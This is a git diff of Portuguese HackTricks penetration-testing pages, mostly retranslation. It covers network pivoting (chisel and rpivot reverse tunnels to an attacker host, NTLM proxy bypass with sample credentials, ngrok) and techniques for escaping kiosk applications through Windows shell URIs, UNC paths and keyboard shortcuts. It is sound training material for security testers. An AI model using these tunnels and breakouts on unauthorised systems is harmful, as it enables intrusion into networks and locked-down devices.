./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim
@ -228,7 +220,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127
```bash
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
```
Fazer pivot através do **NTLM proxy**
Pivotar através do **NTLM proxy**
```bash
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
```
@ -357,7 +349,7 @@ Em **Perfil -> Regras de Proxificação** adicione o nome do programa a ser prox
## Bypass de proxy NTLM
A ferramenta mencionada anteriormente: **Rpivot**\
**OpenVPN** também pode contorná-lo, configurando essas opções no arquivo de configuração:
**OpenVPN** também pode contorná-lo, definindo essas opções no arquivo de configuração:
```bash
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
```
@ -365,7 +357,7 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
Ele se autentica contra um proxy e vincula uma porta local que é encaminhada para o serviço externo que você especificar. Então, você pode usar a ferramenta de sua escolha através dessa porta.\
Ele autentica contra um proxy e vincula uma porta local que é encaminhada para o serviço externo que você especificar. Então, você pode usar a ferramenta de sua escolha através dessa porta.\
Por exemplo, encaminhe a porta 443.
```
Username Alice
@ -462,7 +454,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
## ngrok
**[ngrok](https://ngrok.com/) é uma ferramenta para expor soluções à Internet em uma linha de comando.**
*As URIs de exposição são como:* **UID.ngrok.io**
*URIs de exposição são como:* **UID.ngrok.io**
### Instalação
@ -527,25 +519,17 @@ addr: file:///tmp/httpbin/
* [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
* [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Suporte ao HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,47 +1,37 @@
# Escapando de KIOSKs
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Suporte ao HackTricks</summary>
<summary>Support HackTricks</summary>
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares de roubo**.
O principal objetivo do WhiteIntel é combater a apropriação de contas e ataques de ransomware resultantes de malwares de roubo de informações.
Você pode verificar o site deles e experimentar o mecanismo gratuitamente em:
{% embed url="https://whiteintel.io" %}
---
## Verificar dispositivo físico
## Verifique o dispositivo físico
| Componente | Ação |
| ------------- | -------------------------------------------------------------------- |
| Botão de energia | Desligar e ligar o dispositivo novamente pode expor a tela de inicialização |
| Cabo de energia | Verificar se o dispositivo reinicia quando a energia é cortada brevemente |
| Portas USB | Conectar um teclado físico com mais atalhos |
| Ethernet | Uma varredura de rede ou sniffing pode permitir uma exploração adicional |
| Componente | Ação |
| -------------- | ------------------------------------------------------------------ |
| Botão de energia| Desligar e ligar o dispositivo pode expor a tela de inicialização |
| Cabo de energia | Verifique se o dispositivo reinicia quando a energia é cortada brevemente |
| Portas USB | Conecte um teclado físico com mais atalhos |
| Ethernet | A varredura de rede ou sniffing pode permitir mais exploração |
## Verificar possíveis ações dentro da aplicação GUI
## Verifique as possíveis ações dentro da aplicação GUI
**Diálogos Comuns** são aquelas opções de **salvar um arquivo**, **abrir um arquivo**, selecionar uma fonte, uma cor... A maioria deles **oferecerá uma funcionalidade completa do Explorador**. Isso significa que você poderá acessar funcionalidades do Explorador se puder acessar essas opções:
**Diálogos Comuns** são aquelas opções de **salvar um arquivo**, **abrir um arquivo**, selecionar uma fonte, uma cor... A maioria deles **oferecerá uma funcionalidade completa do Explorer**. Isso significa que você poderá acessar funcionalidades do Explorer se conseguir acessar essas opções:
* Fechar/Fechar como
* Abrir/Abrir com
@ -71,15 +61,15 @@ _bash, sh, zsh..._ Mais aqui: [https://gtfobins.github.io/](https://gtfobins.git
## Windows
### Bypass de restrições de caminho
### Contornando restrições de caminho
* **Variáveis de ambiente**: Existem muitas variáveis de ambiente que apontam para algum caminho
* **Outros protocolos**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
* **Links simbólicos**
* **Atalhos**: CTRL+N (abrir nova sessão), CTRL+R (Executar Comandos), CTRL+SHIFT+ESC (Gerenciador de Tarefas), Windows+E (abrir explorador), CTRL-B, CTRL-I (Favoritos), CTRL-H (Histórico), CTRL-L, CTRL-O (Diálogo Arquivo/Abrir), CTRL-P (Diálogo Imprimir), CTRL-S (Salvar Como)
* **Atalhos**: CTRL+N (abrir nova sessão), CTRL+R (Executar Comandos), CTRL+SHIFT+ESC (Gerenciador de Tarefas), Windows+E (abrir explorer), CTRL-B, CTRL-I (Favoritos), CTRL-H (Histórico), CTRL-L, CTRL-O (Arquivo/Abrir Diálogo), CTRL-P (Diálogo de Impressão), CTRL-S (Salvar Como)
* Menu Administrativo Oculto: CTRL-ALT-F8, CTRL-ESC-F9
* **URIs de Shell**: _shell:Ferramentas Administrativas, shell:BibliotecadeDocumentos, shell:Bibliotecas, shell:PerfisdeUsuários, shell:Pessoal, shell:PastaPesquisashell:Sistema, shell:LugaresdeRede, shell:EnviarPara, shell:PerfisdeUsuários, shell:Ferramentas Administrativas Comuns, shell:MeuComputador, shell:PastaInternet_
* **Caminhos UNC**: Caminhos para se conectar a pastas compartilhadas. Você deve tentar se conectar ao C$ da máquina local ("\\\127.0.0.1\c$\Windows\System32")
* **Shell URIs**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
* **Caminhos UNC**: Caminhos para conectar a pastas compartilhadas. Você deve tentar conectar ao C$ da máquina local ("\\\127.0.0.1\c$\Windows\System32")
* **Mais caminhos UNC:**
| UNC | UNC | UNC |
@ -97,91 +87,92 @@ _bash, sh, zsh..._ Mais aqui: [https://gtfobins.github.io/](https://gtfobins.git
### Baixe Seus Binários
Console: [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\
Explorador: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\
Editor de Registro: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/)
Explorer: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\
Editor de registro: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/)
### Acessando o sistema de arquivos pelo navegador
| CAMINHO | CAMINHO | CAMINHO | CAMINHO |
| ------------------- | ----------------- | ------------------ | ------------------- |
| File:/C:/windows | File:/C:/windows/ | File:/C:/windows\\ | File:/C:\windows |
| File:/C:\windows\\ | File:/C:\windows/ | File://C:/windows | File://C:/windows/ |
| File://C:/windows\\ | File://C:\windows | File://C:\windows/ | File://C:\windows\\ |
| C:/windows | C:/windows/ | C:/windows\\ | C:\windows |
| C:\windows\\ | C:\windows/ | %WINDIR% | %TMP% |
| %TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% |
| %HOMEDRIVE% | %HOMESHARE | | <p><br></p> |
| CAMINHO | CAMINHO | CAMINHO | CAMINHO |
| -------------------- | ------------------ | ------------------- | --------------------- |
| File:/C:/windows | File:/C:/windows/ | File:/C:/windows\\ | File:/C:\windows |
| File:/C:\windows\\ | File:/C:\windows/ | File://C:/windows | File://C:/windows/ |
| File://C:/windows\\ | File://C:\windows | File://C:\windows/ | File://C:\windows\\ |
| C:/windows | C:/windows/ | C:/windows\\ | C:\windows |
| C:\windows\\ | C:\windows/ | %WINDIR% | %TMP% |
| %TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% |
| %HOMEDRIVE% | %HOMESHARE | | <p><br></p> |
### Atalhos
* Sticky Keys Pressione SHIFT 5 vezes
* Mouse Keys SHIFT+ALT+NUMLOCK
* Teclas de Aderência Pressione SHIFT 5 vezes
* Teclas de Mouse SHIFT+ALT+NUMLOCK
* Alto Contraste SHIFT+ALT+PRINTSCN
* Teclas de Alternância Mantenha NUMLOCK pressionado por 5 segundos
* Teclas de Filtro Mantenha o SHIFT direito pressionado por 12 segundos
* Teclas de Filtro Mantenha SHIFT direito pressionado por 12 segundos
* WINDOWS+F1 Pesquisa do Windows
* WINDOWS+D Mostrar Área de Trabalho
* WINDOWS+E Abrir o Explorador de Arquivos do Windows
* WINDOWS+E Iniciar o Windows Explorer
* WINDOWS+R Executar
* WINDOWS+U Centro de Facilidade de Acesso
* WINDOWS+U Centro de Acessibilidade
* WINDOWS+F Pesquisar
* SHIFT+F10 Menu de Contexto
* CTRL+SHIFT+ESC Gerenciador de Tarefas
* CTRL+ALT+DEL Tela de splash nas versões mais recentes do Windows
* CTRL+ALT+DEL Tela de inicialização em versões mais recentes do Windows
* F1 Ajuda F3 Pesquisar
* F6 Barra de Endereço
* F6 Barra de Endereços
* F11 Alternar tela cheia no Internet Explorer
* CTRL+H Histórico do Internet Explorer
* CTRL+T Internet Explorer Nova Guia
* CTRL+T Internet Explorer Nova Aba
* CTRL+N Internet Explorer Nova Página
* CTRL+O Abrir Arquivo
* CTRL+S Salvar CTRL+N Nova RDP / Citrix
* CTRL+S Salvar CTRL+N Novo RDP / Citrix
### Deslizes
* Deslize da lateral esquerda para a direita para ver todas as janelas abertas, minimizando o aplicativo KIOSK e acessando todo o sistema operacional diretamente;
* Deslize da lateral direita para a esquerda para abrir o Centro de Ação, minimizando o aplicativo KIOSK e acessando todo o sistema operacional diretamente;
* Deslize de cima para baixo para tornar a barra de título visível para um aplicativo aberto em modo de tela cheia;
* Deslize de baixo para cima para mostrar a barra de tarefas em um aplicativo em tela cheia.
* Deslize do lado esquerdo para o direito para ver todas as janelas abertas, minimizando o aplicativo KIOSK e acessando todo o SO diretamente;
* Deslize do lado direito para o esquerdo para abrir o Centro de Ações, minimizando o aplicativo KIOSK e acessando todo o SO diretamente;
* Deslize a partir da borda superior para tornar a barra de título visível para um aplicativo aberto em modo de tela cheia;
* Deslize para cima a partir da parte inferior para mostrar a barra de tarefas em um aplicativo de tela cheia.
### Truques do Internet Explorer
#### 'Barra de Ferramentas de Imagem'
#### 'Barra de Imagem'
É uma barra de ferramentas que aparece no canto superior esquerdo da imagem quando clicada. Você poderá Salvar, Imprimir, Enviar por e-mail, Abrir "Minhas Imagens" no Explorador. O Kiosk precisa estar usando o Internet Explorer.
É uma barra de ferramentas que aparece no canto superior esquerdo da imagem quando é clicada. Você poderá Salvar, Imprimir, Enviar por e-mail, Abrir "Minhas Imagens" no Explorer. O Kiosk precisa estar usando o Internet Explorer.
#### Protocolo Shell
Digite esses URLs para obter uma visualização do Explorador:
Digite estas URLs para obter uma visualização do Explorer:
* `shell:Ferramentas Administrativas`
* `shell:Biblioteca de Documentos`
* `shell:Bibliotecas`
* `shell:Perfis de Usuário`
* `shell:Pessoal`
* `shell:PastaInícioPesquisa`
* `shell:PastaLocaisRede`
* `shell:EnviarPara`
* `shell:Perfis de Usuário`
* `shell:Ferramentas Administrativas Comuns`
* `shell:MeuComputador`
* `shell:PastaInternet`
* `Shell:Perfil`
* `Shell:ArquivosdeProgramas`
* `Shell:Sistema`
* `Shell:PaineldeControle`
* `shell:Administrative Tools`
* `shell:DocumentsLibrary`
* `shell:Libraries`
* `shell:UserProfiles`
* `shell:Personal`
* `shell:SearchHomeFolder`
* `shell:NetworkPlacesFolder`
* `shell:SendTo`
* `shell:UserProfiles`
* `shell:Common Administrative Tools`
* `shell:MyComputerFolder`
* `shell:InternetFolder`
* `Shell:Profile`
* `Shell:ProgramFiles`
* `Shell:System`
* `Shell:ControlPanelFolder`
* `Shell:Windows`
* `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> Painel de Controle
* `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> Meu Computador
* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Meus Locais de Rede
* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Minhas Pastas de Rede
* `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer
### Mostrar Extensões de Arquivo
Verifique esta página para mais informações: [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml)
## Truques dos Navegadores
## Truques de Navegadores
Backup de versões iKat:
Versões de backup do iKat:
[http://swin.es/k/](http://swin.es/k/)\
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\
@ -193,105 +184,106 @@ Fonte: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811
### Gestos e botões
* Deslize para cima com quatro (ou cinco) dedos / Toque duplo no botão Início: Para visualizar a visualização de multitarefa e alterar o aplicativo
* Deslize de um lado para o outro com quatro ou cinco dedos: Para mudar para o próximo/último aplicativo
* Belisque a tela com cinco dedos / Toque no botão Início / Deslize para cima com 1 dedo da parte inferior da tela em um movimento rápido para cima: Para acessar a Página Inicial
* Deslize um dedo da parte inferior da tela apenas 1-2 polegadas (devagar): O dock aparecerá
* Deslize para cima com quatro (ou cinco) dedos / Toque duas vezes no botão Home: Para ver a visualização de multitarefa e mudar de aplicativo
* Deslize de um lado ou de outro com quatro ou cinco dedos: Para mudar para o próximo/último aplicativo
* Pinça a tela com cinco dedos / Toque no botão Home / Deslize para cima com 1 dedo a partir da parte inferior da tela em um movimento rápido para cima: Para acessar a tela inicial
* Deslize um dedo a partir da parte inferior da tela apenas 1-2 polegadas (devagar): O dock aparecerá
* Deslize para baixo a partir do topo da tela com 1 dedo: Para ver suas notificações
* Deslize para baixo com 1 dedo no canto superior direito da tela: Para ver o centro de controle do iPad Pro
* Deslize 1 dedo da esquerda da tela 1-2 polegadas: Para ver a visualização de Hoje
* Deslize 1 dedo a partir da esquerda da tela 1-2 polegadas: Para ver a visualização de Hoje
* Deslize rapidamente 1 dedo do centro da tela para a direita ou esquerda: Para mudar para o próximo/último aplicativo
* Pressione e segure o botão Ligar/Desligar no canto superior direito do iPad + Mova o controle deslizante Desligar todo o caminho para a direita: Para desligar
* Pressione o botão Ligar/Desligar no canto superior direito do iPad e o botão Início por alguns segundos: Para forçar um desligamento completo
* Pressione o botão Ligar/Desligar no canto superior direito do iPad e o botão Início rapidamente: Para tirar uma captura de tela que aparecerá no canto inferior esquerdo da tela. Pressione ambos os botões ao mesmo tempo brevemente, como se os segurasse por alguns segundos, um desligamento completo será realizado.
* Pressione e segure o botão Ligar/**Desligar**/Suspender no canto superior direito do **iPad +** Mova o controle deslizante para **desligar** completamente para a direita: Para desligar
* Pressione o botão Ligar/**Desligar**/Suspender no canto superior direito do **iPad e o botão Home por alguns segundos**: Para forçar um desligamento completo
* Pressione o botão Ligar/**Desligar**/Suspender no canto superior direito do **iPad e o botão Home rapidamente**: Para tirar uma captura de tela que aparecerá no canto inferior esquerdo da tela. Pressione ambos os botões ao mesmo tempo muito rapidamente, pois se você mantiver pressionado por alguns segundos, um desligamento completo será realizado.
### Atalhos
Você deve ter um teclado para iPad ou um adaptador de teclado USB. Aqui serão mostrados apenas atalhos que podem ajudar a escapar do aplicativo.
Você deve ter um teclado de iPad ou um adaptador de teclado USB. Apenas os atalhos que podem ajudar a escapar da aplicação serão mostrados aqui.
| Tecla | Nome |
| --- | ------------ |
| ----- | ------------ |
| ⌘ | Comando |
| ⌥ | Opção (Alt) |
| ⇧ | Shift |
| ↩ | Retorno |
| ↩ | Retorno |
| ⇥ | Tab |
| ^ | Control |
| ^ | Controle |
| ← | Seta para a Esquerda |
| → | Seta para a Direita |
| ↑ | Seta para Cima |
| ↓ | Seta para Baixo |
#### Atalhos do Sistema
#### Atalhos do sistema
Esses atalhos são para as configurações visuais e de som, dependendo do uso do iPad.
| Atalho | Ação |
| -------- | ------------------------------------------------------------------------------ |
| F1 | Diminuir Brilho |
| F2 | Aumentar Brilho |
| F7 | Voltar uma música |
| F8 | Reproduzir/pausar |
| F9 | Pular música |
| F10 | Silenciar |
| F11 | Diminuir volume |
| F12 | Aumentar volume |
| ⌘ Espaço | Exibir uma lista de idiomas disponíveis; para escolher um, toque novamente na barra de espaço. |
| ------ | ----------------------------------------------------------------------------- |
| F1 | Diminuir a tela |
| F2 | Aumentar a tela |
| F7 | Voltar uma música |
| F8 | Reproduzir/pause |
| F9 | Pular música |
| F10 | Mudo |
| F11 | Diminuir volume |
| F12 | Aumentar volume |
| ⌘ Espa | Exibir uma lista de idiomas disponíveis; para escolher um, toque na barra de espaço novamente. |
#### Navegação no iPad
| Atalho | Ação |
| -------------------------------------------------- | ------------------------------------------------------- |
| ⌘H | Ir para a Página Inicial |
| ⌘⇧H (Command-Shift-H) | Ir para a Página Inicial |
| ⌘ (Espaço) | Abrir Spotlight |
| ⌘⇥ (Command-Tab) | Listar os últimos dez aplicativos usados |
| ⌘\~ | Ir para o último aplicativo |
| ⌘⇧3 (Command-Shift-3) | Captura de tela (aparece no canto inferior esquerdo para salvar ou agir sobre ela) |
| ⌘⇧4 | Captura de tela e abra-a no editor |
| Pressione e segure ⌘ | Lista de atalhos disponíveis para o aplicativo |
| ⌘⌥D (Command-Option/Alt-D) | Mostra o dock |
| ^⌥H (Control-Option-H) | Botão Início |
| ^⌥H H (Control-Option-H-H) | Mostra a barra de multitarefa |
| ^⌥I (Control-Option-i) | Seletor de item |
| Escape | Botão Voltar |
| → (Seta para a Direita) | Próximo item |
| ← (Seta para a Esquerda) | Item anterior |
| ↑↓ (Seta para Cima, Seta para Baixo) | Toque simultaneamente no item selecionado |
| ⌥ ↓ (Opção-Seta para Baixo) | Rolagem para baixo |
| ⌥↑ (Opção-Seta para Cima) | Rolagem para cima |
| ⌥← ou ⌥→ (Opção-Seta para a Esquerda ou Opção-Seta para a Direita) | Rolagem para a esquerda ou direita |
| ^⌥S (Control-Option-S) | Ativar ou desativar a fala do VoiceOver |
| ⌘⇧⇥ (Command-Shift-Tab) | Alternar para o aplicativo anterior |
| ⌘⇥ (Command-Tab) | Alternar de volta para o aplicativo original |
| ←+→, depois Opção + ← ou Opção+→ | Navegar pelo Dock |
| ------------------------------------------------ | ----------------------------------------------------- |
| ⌘H | Ir para a tela inicial |
| ⌘⇧H (Command-Shift-H) | Ir para a tela inicial |
| ⌘ (Espaço) | Abrir Spotlight |
| ⌘⇥ (Command-Tab) | Listar os últimos dez aplicativos usados |
| ⌘\~ | Ir para o último aplicativo |
| ⌘⇧3 (Command-Shift-3) | Captura de tela (paira no canto inferior esquerdo para salvar ou agir sobre ela) |
| ⌘⇧4 | Captura de tela e abri-la no editor |
| Pressione e segure ⌘ | Lista de atalhos disponíveis para o aplicativo |
| ⌘⌥D (Command-Option/Alt-D) | Abre o dock |
| ^⌥H (Control-Option-H) | Botão Home |
| ^⌥H H (Control-Option-H-H) | Mostrar a barra de multitarefa |
| ^⌥I (Control-Option-i) | Seletor de itens |
| Escape | Botão voltar |
| → (Seta para a Direita) | Próximo item |
| ← (Seta para a Esquerda) | Item anterior |
| ↑↓ (Seta para Cima, Seta para Baixo) | Toque simultaneamente no item selecionado |
| ⌥ ↓ (Option-Seta para Baixo) | Rolagem para baixo |
| ⌥↑ (Option-Seta para Cima) | Rolagem para cima |
| ⌥← ou ⌥→ (Option-Seta para a Esquerda ou Option-Seta para a Direita) | Rolagem para a esquerda ou para a direita |
| ^⌥S (Control-Option-S) | Ativar ou desativar a fala do VoiceOver |
| ⌘⇧⇥ (Command-Shift-Tab) | Alternar para o aplicativo anterior |
| ⌘⇥ (Command-Tab) | Voltar para o aplicativo original |
| ←+→, então Option + ← ou Option+→ | Navegar pelo Dock |
#### Atalhos do Safari
| Atalho | Ação |
| ----------------------- | ----------------------------------------------- |
| ⌘L (Command-L) | Abrir Localização |
| ⌘T | Abrir uma nova aba |
| ⌘W | Fechar a aba atual |
| ⌘R | Atualizar a aba atual |
| ⌘. | Parar o carregamento da aba atual |
| ^⇥ | Alternar para a próxima aba |
| ^⇧⇥ (Control-Shift-Tab) | Mover para a aba anterior |
| ⌘L | Selecionar o campo de texto/URL para modificá-lo |
| ⌘⇧T (Command-Shift-T) | Abrir a última aba fechada (pode ser usado várias vezes) |
| ⌘\[ | Voltar uma página no histórico de navegação |
| ⌘] | Avançar uma página no histórico de navegação |
| ⌘⇧R | Ativar o Modo Leitor |
| Atalho | Ação |
| --------------------- | ---------------------------------------------- |
| ⌘L (Command-L) | Abrir Localização |
| ⌘T | Abrir uma nova aba |
| ⌘W | Fechar a aba atual |
| ⌘R | Atualizar a aba atual |
| ⌘. | Parar de carregar a aba atual |
| ^⇥ | Alternar para a próxima aba |
| ^⇧⇥ (Control-Shift-Tab) | Mover para a aba anterior |
| ⌘L | Selecionar o campo de entrada de texto/URL para modificá-lo |
| ⌘⇧T (Command-Shift-T) | Abrir a última aba fechada (pode ser usado várias vezes) |
| ⌘\[ | Voltar uma página no seu histórico de navegação |
| ⌘] | Avançar uma página no seu histórico de navegação |
| ⌘⇧R | Ativar o Modo Leitor |
#### Atalhos do Mail
| Atalho | Ação |
| ------------------------ | ---------------------------- |
| ⌘L | Abrir Localização |
| ⌘T | Abrir uma nova aba |
| ⌘W | Fechar a aba atual |
| ⌘R | Atualizar a aba atual |
| ⌘. | Parar o carregamento da aba atual |
| ⌘⌥F (Command-Option/Alt-F) | Pesquisar na sua caixa de correio |
| Atalho | Ação |
| ------------------------ | -------------------------- |
| ⌘L | Abrir Localização |
| ⌘T | Abrir uma nova aba |
| ⌘W | Fechar a aba atual |
| ⌘R | Atualizar a aba atual |
| ⌘. | Parar de carregar a aba atual |
| ⌘⌥F (Command-Option/Alt-F) | Pesquisar na sua caixa de entrada |
## Referências
@ -300,28 +292,18 @@ Esses atalhos são para as configurações visuais e de som, dependendo do uso d
* [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/)
* [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html)
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares de roubo**.
O objetivo principal do WhiteIntel é combater invasões de contas e ataques de ransomware resultantes de malwares que roubam informações.
Você pode acessar o site deles e experimentar o mecanismo gratuitamente em:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoie o HackTricks</summary>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -10,19 +10,11 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Variáveis globais
As variáveis globais **serão** herdadas por **processos filhos**.
@ -126,15 +118,10 @@ Um trabalho em segundo plano, um parado e o último comando não terminou corret
![](<../.gitbook/assets/image (715).png>)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
